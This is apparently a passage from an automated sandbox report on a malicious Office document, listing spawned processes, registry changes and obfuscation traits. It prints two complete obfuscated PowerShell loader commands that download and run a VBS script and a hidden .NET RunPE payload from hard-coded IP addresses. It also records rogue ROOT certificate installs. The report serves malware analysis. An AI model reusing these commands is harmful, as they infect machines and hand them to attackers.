Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX" Jump to behavior
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE899E022D push eax; iretd 7_2_000007FE899E0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE899E00BD pushad ; iretd 7_2_000007FE899E00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE899C022D push eax; iretd 12_2_000007FE899C0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE899C00BD pushad ; iretd 12_2_000007FE899C00C1
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 12.2.powershell.exe.2cef590.1.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 12.2.powershell.exe.2f0000.0.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
